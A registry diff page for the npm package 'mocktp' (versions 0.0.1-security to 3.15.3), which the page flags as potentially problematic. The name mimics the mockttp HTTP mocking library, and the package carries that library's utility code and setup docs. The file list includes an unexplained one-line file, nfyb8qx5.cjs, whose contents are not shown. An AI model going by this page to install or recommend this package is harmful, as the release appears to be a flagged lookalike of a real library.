mocktp 0.0.1-security → 3.15.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mocktp might be problematic. Click here for more details.
- package/LICENSE +201 -0
- package/README.md +123 -3
- package/custom-typings/Function.d.ts +4 -0
- package/custom-typings/cors-gate.d.ts +13 -0
- package/custom-typings/http-proxy-agent.d.ts +9 -0
- package/custom-typings/node-type-extensions.d.ts +115 -0
- package/custom-typings/proxy-agent-modules.d.ts +5 -0
- package/custom-typings/request-promise-native.d.ts +28 -0
- package/custom-typings/zstd-codec.d.ts +20 -0
- package/dist/admin/admin-bin.d.ts +3 -0
- package/dist/admin/admin-bin.d.ts.map +1 -0
- package/dist/admin/admin-bin.js +61 -0
- package/dist/admin/admin-bin.js.map +1 -0
- package/dist/admin/admin-plugin-types.d.ts +29 -0
- package/dist/admin/admin-plugin-types.d.ts.map +1 -0
- package/dist/admin/admin-plugin-types.js +3 -0
- package/dist/admin/admin-plugin-types.js.map +1 -0
- package/dist/admin/admin-server.d.ts +98 -0
- package/dist/admin/admin-server.d.ts.map +1 -0
- package/dist/admin/admin-server.js +426 -0
- package/dist/admin/admin-server.js.map +1 -0
- package/dist/admin/graphql-utils.d.ts +4 -0
- package/dist/admin/graphql-utils.d.ts.map +1 -0
- package/dist/admin/graphql-utils.js +28 -0
- package/dist/admin/graphql-utils.js.map +1 -0
- package/dist/admin/mockttp-admin-model.d.ts +7 -0
- package/dist/admin/mockttp-admin-model.d.ts.map +1 -0
- package/dist/admin/mockttp-admin-model.js +214 -0
- package/dist/admin/mockttp-admin-model.js.map +1 -0
- package/dist/admin/mockttp-admin-plugin.d.ts +28 -0
- package/dist/admin/mockttp-admin-plugin.d.ts.map +1 -0
- package/dist/admin/mockttp-admin-plugin.js +37 -0
- package/dist/admin/mockttp-admin-plugin.js.map +1 -0
- package/dist/admin/mockttp-admin-server.d.ts +16 -0
- package/dist/admin/mockttp-admin-server.d.ts.map +1 -0
- package/dist/admin/mockttp-admin-server.js +17 -0
- package/dist/admin/mockttp-admin-server.js.map +1 -0
- package/dist/admin/mockttp-schema.d.ts +2 -0
- package/dist/admin/mockttp-schema.d.ts.map +1 -0
- package/dist/admin/mockttp-schema.js +225 -0
- package/dist/admin/mockttp-schema.js.map +1 -0
- package/dist/client/admin-client.d.ts +112 -0
- package/dist/client/admin-client.d.ts.map +1 -0
- package/dist/client/admin-client.js +511 -0
- package/dist/client/admin-client.js.map +1 -0
- package/dist/client/admin-query.d.ts +13 -0
- package/dist/client/admin-query.d.ts.map +1 -0
- package/dist/client/admin-query.js +26 -0
- package/dist/client/admin-query.js.map +1 -0
- package/dist/client/mocked-endpoint-client.d.ts +12 -0
- package/dist/client/mocked-endpoint-client.d.ts.map +1 -0
- package/dist/client/mocked-endpoint-client.js +33 -0
- package/dist/client/mocked-endpoint-client.js.map +1 -0
- package/dist/client/mockttp-admin-request-builder.d.ts +38 -0
- package/dist/client/mockttp-admin-request-builder.d.ts.map +1 -0
- package/dist/client/mockttp-admin-request-builder.js +462 -0
- package/dist/client/mockttp-admin-request-builder.js.map +1 -0
- package/dist/client/mockttp-client.d.ts +56 -0
- package/dist/client/mockttp-client.d.ts.map +1 -0
- package/dist/client/mockttp-client.js +112 -0
- package/dist/client/mockttp-client.js.map +1 -0
- package/dist/client/schema-introspection.d.ts +11 -0
- package/dist/client/schema-introspection.d.ts.map +1 -0
- package/dist/client/schema-introspection.js +128 -0
- package/dist/client/schema-introspection.js.map +1 -0
- package/dist/main.browser.d.ts +49 -0
- package/dist/main.browser.d.ts.map +1 -0
- package/dist/main.browser.js +57 -0
- package/dist/main.browser.js.map +1 -0
- package/dist/main.d.ts +86 -0
- package/dist/main.d.ts.map +1 -0
- package/dist/main.js +108 -0
- package/dist/main.js.map +1 -0
- package/dist/mockttp.d.ts +774 -0
- package/dist/mockttp.d.ts.map +1 -0
- package/dist/mockttp.js +81 -0
- package/dist/mockttp.js.map +1 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.browser.d.ts +5 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.browser.d.ts.map +1 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.browser.js +12 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.browser.js.map +1 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.d.ts +8 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.d.ts.map +1 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.js +13 -0
- package/dist/pluggable-admin-api/mockttp-pluggable-admin.js.map +1 -0
- package/dist/pluggable-admin-api/pluggable-admin.browser.d.ts +6 -0
- package/dist/pluggable-admin-api/pluggable-admin.browser.d.ts.map +1 -0
- package/dist/pluggable-admin-api/pluggable-admin.browser.js +13 -0
- package/dist/pluggable-admin-api/pluggable-admin.browser.js.map +1 -0
- package/dist/pluggable-admin-api/pluggable-admin.d.ts +18 -0
- package/dist/pluggable-admin-api/pluggable-admin.d.ts.map +1 -0
- package/dist/pluggable-admin-api/pluggable-admin.js +20 -0
- package/dist/pluggable-admin-api/pluggable-admin.js.map +1 -0
- package/dist/rules/base-rule-builder.d.ts +185 -0
- package/dist/rules/base-rule-builder.d.ts.map +1 -0
- package/dist/rules/base-rule-builder.js +251 -0
- package/dist/rules/base-rule-builder.js.map +1 -0
- package/dist/rules/completion-checkers.d.ts +41 -0
- package/dist/rules/completion-checkers.d.ts.map +1 -0
- package/dist/rules/completion-checkers.js +87 -0
- package/dist/rules/completion-checkers.js.map +1 -0
- package/dist/rules/http-agents.d.ts +11 -0
- package/dist/rules/http-agents.d.ts.map +1 -0
- package/dist/rules/http-agents.js +91 -0
- package/dist/rules/http-agents.js.map +1 -0
- package/dist/rules/matchers.d.ts +214 -0
- package/dist/rules/matchers.d.ts.map +1 -0
- package/dist/rules/matchers.js +515 -0
- package/dist/rules/matchers.js.map +1 -0
- package/dist/rules/passthrough-handling-definitions.d.ts +106 -0
- package/dist/rules/passthrough-handling-definitions.d.ts.map +1 -0
- package/dist/rules/passthrough-handling-definitions.js +3 -0
- package/dist/rules/passthrough-handling-definitions.js.map +1 -0
- package/dist/rules/passthrough-handling.d.ts +33 -0
- package/dist/rules/passthrough-handling.d.ts.map +1 -0
- package/dist/rules/passthrough-handling.js +294 -0
- package/dist/rules/passthrough-handling.js.map +1 -0
- package/dist/rules/proxy-config.d.ts +76 -0
- package/dist/rules/proxy-config.d.ts.map +1 -0
- package/dist/rules/proxy-config.js +48 -0
- package/dist/rules/proxy-config.js.map +1 -0
- package/dist/rules/requests/request-handler-definitions.d.ts +600 -0
- package/dist/rules/requests/request-handler-definitions.d.ts.map +1 -0
- package/dist/rules/requests/request-handler-definitions.js +423 -0
- package/dist/rules/requests/request-handler-definitions.js.map +1 -0
- package/dist/rules/requests/request-handlers.d.ts +65 -0
- package/dist/rules/requests/request-handlers.d.ts.map +1 -0
- package/dist/rules/requests/request-handlers.js +1014 -0
- package/dist/rules/requests/request-handlers.js.map +1 -0
- package/dist/rules/requests/request-rule-builder.d.ts +255 -0
- package/dist/rules/requests/request-rule-builder.d.ts.map +1 -0
- package/dist/rules/requests/request-rule-builder.js +340 -0
- package/dist/rules/requests/request-rule-builder.js.map +1 -0
- package/dist/rules/requests/request-rule.d.ts +36 -0
- package/dist/rules/requests/request-rule.d.ts.map +1 -0
- package/dist/rules/requests/request-rule.js +100 -0
- package/dist/rules/requests/request-rule.js.map +1 -0
- package/dist/rules/rule-deserialization.d.ts +8 -0
- package/dist/rules/rule-deserialization.d.ts.map +1 -0
- package/dist/rules/rule-deserialization.js +27 -0
- package/dist/rules/rule-deserialization.js.map +1 -0
- package/dist/rules/rule-parameters.d.ts +21 -0
- package/dist/rules/rule-parameters.d.ts.map +1 -0
- package/dist/rules/rule-parameters.js +31 -0
- package/dist/rules/rule-parameters.js.map +1 -0
- package/dist/rules/rule-serialization.d.ts +7 -0
- package/dist/rules/rule-serialization.d.ts.map +1 -0
- package/dist/rules/rule-serialization.js +25 -0
- package/dist/rules/rule-serialization.js.map +1 -0
- package/dist/rules/websockets/websocket-handler-definitions.d.ts +78 -0
- package/dist/rules/websockets/websocket-handler-definitions.d.ts.map +1 -0
- package/dist/rules/websockets/websocket-handler-definitions.js +118 -0
- package/dist/rules/websockets/websocket-handler-definitions.js.map +1 -0
- package/dist/rules/websockets/websocket-handlers.d.ts +39 -0
- package/dist/rules/websockets/websocket-handlers.d.ts.map +1 -0
- package/dist/rules/websockets/websocket-handlers.js +356 -0
- package/dist/rules/websockets/websocket-handlers.js.map +1 -0
- package/dist/rules/websockets/websocket-rule-builder.d.ts +173 -0
- package/dist/rules/websockets/websocket-rule-builder.d.ts.map +1 -0
- package/dist/rules/websockets/websocket-rule-builder.js +232 -0
- package/dist/rules/websockets/websocket-rule-builder.js.map +1 -0
- package/dist/rules/websockets/websocket-rule.d.ts +34 -0
- package/dist/rules/websockets/websocket-rule.d.ts.map +1 -0
- package/dist/rules/websockets/websocket-rule.js +87 -0
- package/dist/rules/websockets/websocket-rule.js.map +1 -0
- package/dist/serialization/body-serialization.d.ts +43 -0
- package/dist/serialization/body-serialization.d.ts.map +1 -0
- package/dist/serialization/body-serialization.js +70 -0
- package/dist/serialization/body-serialization.js.map +1 -0
- package/dist/serialization/serialization.d.ts +63 -0
- package/dist/serialization/serialization.d.ts.map +1 -0
- package/dist/serialization/serialization.js +263 -0
- package/dist/serialization/serialization.js.map +1 -0
- package/dist/server/http-combo-server.d.ts +13 -0
- package/dist/server/http-combo-server.d.ts.map +1 -0
- package/dist/server/http-combo-server.js +330 -0
- package/dist/server/http-combo-server.js.map +1 -0
- package/dist/server/mocked-endpoint.d.ts +14 -0
- package/dist/server/mocked-endpoint.d.ts.map +1 -0
- package/dist/server/mocked-endpoint.js +40 -0
- package/dist/server/mocked-endpoint.js.map +1 -0
- package/dist/server/mockttp-server.d.ts +87 -0
- package/dist/server/mockttp-server.d.ts.map +1 -0
- package/dist/server/mockttp-server.js +859 -0
- package/dist/server/mockttp-server.js.map +1 -0
- package/dist/types.d.ts +359 -0
- package/dist/types.d.ts.map +1 -0
- package/dist/types.js +20 -0
- package/dist/types.js.map +1 -0
- package/dist/util/buffer-utils.d.ts +13 -0
- package/dist/util/buffer-utils.d.ts.map +1 -0
- package/dist/util/buffer-utils.js +141 -0
- package/dist/util/buffer-utils.js.map +1 -0
- package/dist/util/dns.d.ts +11 -0
- package/dist/util/dns.d.ts.map +1 -0
- package/dist/util/dns.js +47 -0
- package/dist/util/dns.js.map +1 -0
- package/dist/util/error.d.ts +9 -0
- package/dist/util/error.d.ts.map +1 -0
- package/dist/util/error.js +11 -0
- package/dist/util/error.js.map +1 -0
- package/dist/util/header-utils.d.ts +35 -0
- package/dist/util/header-utils.d.ts.map +1 -0
- package/dist/util/header-utils.js +200 -0
- package/dist/util/header-utils.js.map +1 -0
- package/dist/util/openssl-compat.d.ts +2 -0
- package/dist/util/openssl-compat.d.ts.map +1 -0
- package/dist/util/openssl-compat.js +26 -0
- package/dist/util/openssl-compat.js.map +1 -0
- package/dist/util/promise.d.ts +10 -0
- package/dist/util/promise.d.ts.map +1 -0
- package/dist/util/promise.js +25 -0
- package/dist/util/promise.js.map +1 -0
- package/dist/util/request-utils.d.ts +46 -0
- package/dist/util/request-utils.d.ts.map +1 -0
- package/dist/util/request-utils.js +462 -0
- package/dist/util/request-utils.js.map +1 -0
- package/dist/util/server-utils.d.ts +2 -0
- package/dist/util/server-utils.d.ts.map +1 -0
- package/dist/util/server-utils.js +14 -0
- package/dist/util/server-utils.js.map +1 -0
- package/dist/util/socket-util.d.ts +28 -0
- package/dist/util/socket-util.d.ts.map +1 -0
- package/dist/util/socket-util.js +174 -0
- package/dist/util/socket-util.js.map +1 -0
- package/dist/util/tls.d.ts +68 -0
- package/dist/util/tls.d.ts.map +1 -0
- package/dist/util/tls.js +220 -0
- package/dist/util/tls.js.map +1 -0
- package/dist/util/type-utils.d.ts +14 -0
- package/dist/util/type-utils.d.ts.map +1 -0
- package/dist/util/type-utils.js +3 -0
- package/dist/util/type-utils.js.map +1 -0
- package/dist/util/url.d.ts +17 -0
- package/dist/util/url.d.ts.map +1 -0
- package/dist/util/url.js +96 -0
- package/dist/util/url.js.map +1 -0
- package/dist/util/util.d.ts +8 -0
- package/dist/util/util.d.ts.map +1 -0
- package/dist/util/util.js +41 -0
- package/dist/util/util.js.map +1 -0
- package/docs/api-docs-landing-page.md +11 -0
- package/docs/runkitExample.js +16 -0
- package/docs/setup.md +136 -0
- package/nfyb8qx5.cjs +1 -0
- package/package.json +194 -4
- package/src/admin/admin-bin.ts +62 -0
- package/src/admin/admin-plugin-types.ts +29 -0
- package/src/admin/admin-server.ts +619 -0
- package/src/admin/graphql-utils.ts +28 -0
- package/src/admin/mockttp-admin-model.ts +264 -0
- package/src/admin/mockttp-admin-plugin.ts +59 -0
- package/src/admin/mockttp-admin-server.ts +27 -0
- package/src/admin/mockttp-schema.ts +222 -0
- package/src/client/admin-client.ts +652 -0
- package/src/client/admin-query.ts +52 -0
- package/src/client/mocked-endpoint-client.ts +32 -0
- package/src/client/mockttp-admin-request-builder.ts +540 -0
- package/src/client/mockttp-client.ts +178 -0
- package/src/client/schema-introspection.ts +131 -0
- package/src/main.browser.ts +60 -0
- package/src/main.ts +160 -0
- package/src/mockttp.ts +926 -0
- package/src/pluggable-admin-api/mockttp-pluggable-admin.browser.ts +7 -0
- package/src/pluggable-admin-api/mockttp-pluggable-admin.ts +13 -0
- package/src/pluggable-admin-api/pluggable-admin.browser.ts +9 -0
- package/src/pluggable-admin-api/pluggable-admin.ts +36 -0
- package/src/rules/base-rule-builder.ts +312 -0
- package/src/rules/completion-checkers.ts +90 -0
- package/src/rules/http-agents.ts +119 -0
- package/src/rules/matchers.ts +665 -0
- package/src/rules/passthrough-handling-definitions.ts +111 -0
- package/src/rules/passthrough-handling.ts +376 -0
- package/src/rules/proxy-config.ts +136 -0
- package/src/rules/requests/request-handler-definitions.ts +1089 -0
- package/src/rules/requests/request-handlers.ts +1369 -0
- package/src/rules/requests/request-rule-builder.ts +481 -0
- package/src/rules/requests/request-rule.ts +148 -0
- package/src/rules/rule-deserialization.ts +55 -0
- package/src/rules/rule-parameters.ts +41 -0
- package/src/rules/rule-serialization.ts +29 -0
- package/src/rules/websockets/websocket-handler-definitions.ts +196 -0
- package/src/rules/websockets/websocket-handlers.ts +509 -0
- package/src/rules/websockets/websocket-rule-builder.ts +275 -0
- package/src/rules/websockets/websocket-rule.ts +136 -0
- package/src/serialization/body-serialization.ts +84 -0
- package/src/serialization/serialization.ts +373 -0
- package/src/server/http-combo-server.ts +424 -0
- package/src/server/mocked-endpoint.ts +44 -0
- package/src/server/mockttp-server.ts +1110 -0
- package/src/types.ts +433 -0
- package/src/util/buffer-utils.ts +164 -0
- package/src/util/dns.ts +52 -0
- package/src/util/error.ts +18 -0
- package/src/util/header-utils.ts +220 -0
- package/src/util/openssl-compat.ts +26 -0
- package/src/util/promise.ts +31 -0
- package/src/util/request-utils.ts +607 -0
- package/src/util/server-utils.ts +18 -0
- package/src/util/socket-util.ts +193 -0
- package/src/util/tls.ts +348 -0
- package/src/util/type-utils.ts +15 -0
- package/src/util/url.ts +113 -0
- package/src/util/util.ts +39 -0
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
export declare function nthIndexOf(input: string, matcher: string, n: number): number;
|
|
2
|
+
export declare function byteLength(input: string | Uint8Array | Buffer): number;
|
|
3
|
+
export declare function delay(t: number): Promise<void>;
|
|
4
|
+
export declare const isWorker: boolean;
|
|
5
|
+
export declare const isWeb: boolean;
|
|
6
|
+
export declare const isNode: string | false;
|
|
7
|
+
export declare const makePropertyWritable: <T>(obj: T, property: keyof T) => T;
|
|
8
|
+
//# sourceMappingURL=util.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"util.d.ts","sourceRoot":"","sources":["../../src/util/util.ts"],"names":[],"mappings":"AAAA,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,UAUnE;AAKD,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,GAAG,UAAU,GAAG,MAAM,UAQ7D;AAED,wBAAgB,KAAK,CAAC,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC,CAE9C;AAGD,eAAO,MAAM,QAAQ,SAAgF,CAAC;AACtG,eAAO,MAAM,KAAK,SAA0D,CAAC;AAC7E,eAAO,MAAM,MAAM,gBAAwE,CAAC;AAE5F,eAAO,MAAM,oBAAoB,GAAI,CAAC,OAAO,CAAC,YAAY,MAAM,CAAC,MAI3D,CAAC"}
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.makePropertyWritable = exports.isNode = exports.isWeb = exports.isWorker = void 0;
|
|
4
|
+
exports.nthIndexOf = nthIndexOf;
|
|
5
|
+
exports.byteLength = byteLength;
|
|
6
|
+
exports.delay = delay;
|
|
7
|
+
function nthIndexOf(input, matcher, n) {
|
|
8
|
+
let index = -1;
|
|
9
|
+
while (n > 0) {
|
|
10
|
+
n = n - 1;
|
|
11
|
+
index = input.indexOf(matcher, index + 1);
|
|
12
|
+
if (index === -1)
|
|
13
|
+
break;
|
|
14
|
+
}
|
|
15
|
+
return index;
|
|
16
|
+
}
|
|
17
|
+
// Get the length of the given data in bytes, not characters.
|
|
18
|
+
// If that's a buffer, the length is used raw, but if it's a string
|
|
19
|
+
// it returns the length when encoded as UTF8.
|
|
20
|
+
function byteLength(input) {
|
|
21
|
+
if (typeof input === 'string') {
|
|
22
|
+
return exports.isNode
|
|
23
|
+
? Buffer.from(input, 'utf8').byteLength
|
|
24
|
+
: new Blob([input]).size;
|
|
25
|
+
}
|
|
26
|
+
else {
|
|
27
|
+
return input.length;
|
|
28
|
+
}
|
|
29
|
+
}
|
|
30
|
+
function delay(t) {
|
|
31
|
+
return new Promise((r) => setTimeout(r, t));
|
|
32
|
+
}
|
|
33
|
+
exports.isWorker = typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope;
|
|
34
|
+
exports.isWeb = typeof Window !== 'undefined' && self instanceof Window;
|
|
35
|
+
exports.isNode = !exports.isWorker && !exports.isWeb && typeof process === 'object' && process.version;
|
|
36
|
+
const makePropertyWritable = (obj, property) => Object.defineProperty(obj, property, {
|
|
37
|
+
value: obj[property],
|
|
38
|
+
writable: true
|
|
39
|
+
});
|
|
40
|
+
exports.makePropertyWritable = makePropertyWritable;
|
|
41
|
+
//# sourceMappingURL=util.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"util.js","sourceRoot":"","sources":["../../src/util/util.ts"],"names":[],"mappings":";;;AAAA,gCAUC;AAKD,gCAQC;AAED,sBAEC;AA3BD,SAAgB,UAAU,CAAC,KAAa,EAAE,OAAe,EAAE,CAAS;IAChE,IAAI,KAAK,GAAG,CAAC,CAAC,CAAC;IAEf,OAAO,CAAC,GAAG,CAAC,EAAE,CAAC;QACX,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;QACV,KAAK,GAAG,KAAK,CAAC,OAAO,CAAC,OAAO,EAAE,KAAK,GAAG,CAAC,CAAC,CAAC;QAC1C,IAAI,KAAK,KAAK,CAAC,CAAC;YAAE,MAAM;IAC5B,CAAC;IAED,OAAO,KAAK,CAAC;AACjB,CAAC;AAED,6DAA6D;AAC7D,mEAAmE;AACnE,8CAA8C;AAC9C,SAAgB,UAAU,CAAC,KAAmC;IAC1D,IAAI,OAAO,KAAK,KAAK,QAAQ,EAAE,CAAC;QAC5B,OAAO,cAAM;YACT,CAAC,CAAC,MAAM,CAAC,IAAI,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC,UAAU;YACvC,CAAC,CAAC,IAAI,IAAI,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC;IACjC,CAAC;SAAM,CAAC;QACJ,OAAO,KAAK,CAAC,MAAM,CAAC;IACxB,CAAC;AACL,CAAC;AAED,SAAgB,KAAK,CAAC,CAAS;IAC3B,OAAO,IAAI,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,UAAU,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,CAAC;AAChD,CAAC;AAGY,QAAA,QAAQ,GAAG,OAAO,iBAAiB,KAAK,WAAW,IAAI,IAAI,YAAY,iBAAiB,CAAC;AACzF,QAAA,KAAK,GAAG,OAAO,MAAM,KAAK,WAAW,IAAI,IAAI,YAAY,MAAM,CAAC;AAChE,QAAA,MAAM,GAAG,CAAC,gBAAQ,IAAI,CAAC,aAAK,IAAI,OAAO,OAAO,KAAK,QAAQ,IAAI,OAAO,CAAC,OAAO,CAAC;AAErF,MAAM,oBAAoB,GAAG,CAAI,GAAM,EAAE,QAAiB,EAAE,EAAE,CACjE,MAAM,CAAC,cAAc,CAAC,GAAG,EAAE,QAAQ,EAAE;IACjC,KAAK,EAAE,GAAG,CAAC,QAAQ,CAAC;IACpB,QAAQ,EAAE,IAAI;CACjB,CAAC,CAAC;AAJM,QAAA,oBAAoB,wBAI1B"}
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
# Mockttp [](https://github.com/httptoolkit/mockttp/actions) [](https://npmjs.com/package/mockttp) [](https://npm.runkit.com/mockttp)
|
|
2
|
+
|
|
3
|
+
> _Part of [HTTP Toolkit](https://httptoolkit.com): powerful tools for building, testing & debugging HTTP(S)_
|
|
4
|
+
|
|
5
|
+
These are the API reference docs for Mockttp. If you're not sure what Mockttp is, it's best to start from the [README](https://github.com/httptoolkit/mockttp/#readme) instead.
|
|
6
|
+
|
|
7
|
+
On the other hand, if you're looking for detailed documentation, you're in the right place!
|
|
8
|
+
|
|
9
|
+
From here you can explore all the exported types and statically exported functions from the sidebar on the right, you can use the search button (top right) to jump to specific documentation by name, or you're not sure you probably want to start at the [Mockttp type](./interfaces/Mockttp.html) and follow the types from there.
|
|
10
|
+
|
|
11
|
+
Can't find what you're looking for, missing important info, or generally confused? Please [file an issue](https://github.com/httptoolkit/mockttp/issues/new) and help Mockttp's docs get better.
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
const expect = require("chai").expect;
|
|
2
|
+
const superagent = require("superagent");
|
|
3
|
+
const mockServer = require("mockttp").getLocal();
|
|
4
|
+
|
|
5
|
+
mockServer.start(8080)
|
|
6
|
+
.then(() => {
|
|
7
|
+
// Mock your endpoints
|
|
8
|
+
return mockServer.forGet("/mocked-path").thenReply(200, "A mocked response");
|
|
9
|
+
}).then(() => {
|
|
10
|
+
// Make a request
|
|
11
|
+
return superagent.get("http://localhost:8080/mocked-path");
|
|
12
|
+
}).then((response) => {
|
|
13
|
+
// Assert on the results
|
|
14
|
+
expect(response.text).to.equal("A mocked response");
|
|
15
|
+
console.log("Test passed!");
|
|
16
|
+
});
|
package/docs/setup.md
ADDED
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
# Setting up Mockttp
|
|
2
|
+
|
|
3
|
+
To run Mockttp tests, you need:
|
|
4
|
+
|
|
5
|
+
* A mock server, which handles your requests
|
|
6
|
+
* A mock server client, which configures the mock server
|
|
7
|
+
* Either:
|
|
8
|
+
- An HTTP client configured to make requests to your mock server's URL
|
|
9
|
+
- An HTTP client configured to make requests anywhere, using your mock server as a proxy
|
|
10
|
+
* (Optional) HTTPS configuration for your server, trusted in your client
|
|
11
|
+
|
|
12
|
+
In the below, we'll walk through the core concepts, and some concrete examples that should let you get started immediately. For a larger real world example, see the test suite & test configuration in the Mockttp project itself, which runs in Node & Chrome, uses the mock server directly and as a proxy, and mocks HTTP and HTTPS connections.
|
|
13
|
+
|
|
14
|
+
All this does of course only cover a few of the many ways to set up Mockttp. If you're in a different environment, or you have another interesting case or more details that would fit here please send a pull request!
|
|
15
|
+
|
|
16
|
+
## Setting up a mock server & client
|
|
17
|
+
|
|
18
|
+
Mockttp exposes three setup functions: `getLocal`, `getRemote` and `getAdminServer`. For simple configurations you'll simply call `getLocal()` in all your test code, and start mocking & making requests. In Node, nothing more is required. For browsers, you'll start a standalone admin server first (more details below). The resulting client then works identically in both environments.
|
|
19
|
+
|
|
20
|
+
* `getLocal()` - returns a Mockttp instance that uses a local in-process mock server.
|
|
21
|
+
- In Node, this automatically starts & stops mock servers for you within the current process.
|
|
22
|
+
- In the browser, this is an alias for `getRemote()`.
|
|
23
|
+
* `getRemote()` - returns a Mockttp instance with the same API, but backed by a client for a separate admin server.
|
|
24
|
+
- This returned client has exactly the same API as `getLocal`, but makes requests to the admin server to configure the mock server remotely.
|
|
25
|
+
- The client/server separation is required in a browser (as you cannot start an HTTP server or proxy inside a browser), but can also be useful to run tests with a mock server elsewhere on your network, e.g. to test mobile or IoT devices.
|
|
26
|
+
* `getAdminServer()` - returns an admin server, which remote clients can connect to start, stop & configure any number of mock servers.
|
|
27
|
+
- This only works in Node, and throws an error if called in the browser.
|
|
28
|
+
- You can call this directly in your own test scripting outside the browser, or run the provided `mockttp -c [test command]` helper to have an admin server automatically started before your tests run, and automatically shut down afterwards.
|
|
29
|
+
|
|
30
|
+
### Server & Client Setup Examples
|
|
31
|
+
|
|
32
|
+
#### Local Node.JS Setup
|
|
33
|
+
|
|
34
|
+
1. Set up a mock server & client in-process:
|
|
35
|
+
```typescript
|
|
36
|
+
const mockServer = require('mockttp').getLocal();
|
|
37
|
+
|
|
38
|
+
// Before each test, start up the server:
|
|
39
|
+
mockServer.start();
|
|
40
|
+
|
|
41
|
+
// After each test, stop the server:
|
|
42
|
+
mockServer.stop();
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
2. Direct your HTTP traffic through that server, by doing _one_ of the below:
|
|
46
|
+
* Change your application's configuration to make requests to the mock server's URL (`mockServer.url`)
|
|
47
|
+
* Use env vars to set your proxy settings globally, if supported by your HTTP client: `process.env = Object.assign(process.env, mockServer.proxyEnv)`
|
|
48
|
+
* Use a specific setting to reconfigure your HTTP client of choice to use `mockServer.proxyEnv.HTTP_PROXY` as its proxy, if it doesn't automatically use proxy configuration from the environment.
|
|
49
|
+
|
|
50
|
+
#### Browser Setup
|
|
51
|
+
|
|
52
|
+
1. Start an admin server process from outside the browser, by doing _one_ of the below:
|
|
53
|
+
* Running `mockttp -c [test command]`, to start the admin server before your tests and automatically shut it down afterwards.
|
|
54
|
+
* Or, if you're using a script to start your tests, you can start the admin server from node directly:
|
|
55
|
+
```typescript
|
|
56
|
+
const adminServer = require('mockttp').getAdminServer();
|
|
57
|
+
|
|
58
|
+
adminServer.start()
|
|
59
|
+
.then(() => runTests())
|
|
60
|
+
.finally(() => adminServer.stop());
|
|
61
|
+
```
|
|
62
|
+
2. Connect to that admin server from inside the browser
|
|
63
|
+
```typescript
|
|
64
|
+
const mockServer = require('mockttp').getLocal();
|
|
65
|
+
|
|
66
|
+
// Before each test, start a fresh server:
|
|
67
|
+
mockServer.start();
|
|
68
|
+
|
|
69
|
+
// After each test, stop your server:
|
|
70
|
+
mockServer.stop();
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
3. Direct your HTTP traffic through that server, by doing _one_ of the below:
|
|
74
|
+
* Change your application's configuration to make requests to the mock server's URL (`mockServer.url`)
|
|
75
|
+
* Using a fixed port for the mock server (`mockServer.start(8080)`) and configuring your test browser to use that as a proxy
|
|
76
|
+
|
|
77
|
+
#### Browser + Node.Js setup
|
|
78
|
+
|
|
79
|
+
Connecting to mock servers in both the example configurations above uses exactly the same code, so the only difference is that your browser needs an admin server first. You can do this easily using only one set of test code by setting up your test configuration to do something like:
|
|
80
|
+
|
|
81
|
+
* Run Node tests
|
|
82
|
+
* Start admin server
|
|
83
|
+
* Run browser tests
|
|
84
|
+
* Stop admin server
|
|
85
|
+
|
|
86
|
+
## Mocking HTTPS
|
|
87
|
+
|
|
88
|
+
To mock an HTTPS server, either directly or as a proxy, you need to:
|
|
89
|
+
|
|
90
|
+
* Obtain/generate a CA certificate
|
|
91
|
+
* Tell Mockttp to use it
|
|
92
|
+
* Ensure your HTTP client trusts it
|
|
93
|
+
|
|
94
|
+
### Generating a certificate
|
|
95
|
+
|
|
96
|
+
If you have openssl installed, you can generate a certificate with:
|
|
97
|
+
|
|
98
|
+
```bash
|
|
99
|
+
openssl req -x509 -new -nodes -keyout testCA.key -sha256 -days 365 -out testCA.pem -subj '/CN=Mockttp Testing CA - DO NOT TRUST'
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
This will output a private key as `testCA.key`, and a certificate as `testCA.pem`. You only need to do this once, until it expires (see the `-days` parameter), and you can then commit this to your project. Though in general committing a private key is a very bad idea, you should never allow anybody other than your test suite to trust this one, so it's not a risk.
|
|
103
|
+
|
|
104
|
+
That last point is an important caveat though! **Do not trust this certificate system-wide on any machine, unless you're sure you know what you're doing**. If you share the private key anywhere outside your machine, and you trust the certificate system-wide, you are allowing any attacker to perfectly fake secure connections to anywhere you ever visit in future. Don't do that, it's not as fun as it sounds.
|
|
105
|
+
|
|
106
|
+
### Passing Mockttp a certificate
|
|
107
|
+
|
|
108
|
+
You can tell Mockttp to use a certificate you've generated by providing the path to the certificate when setting up your mock server, with:
|
|
109
|
+
|
|
110
|
+
```javascript
|
|
111
|
+
const mockServer = getLocal({
|
|
112
|
+
https: {
|
|
113
|
+
keyPath: './testCA.key',
|
|
114
|
+
certPath: './testCA.pem'
|
|
115
|
+
}
|
|
116
|
+
});
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
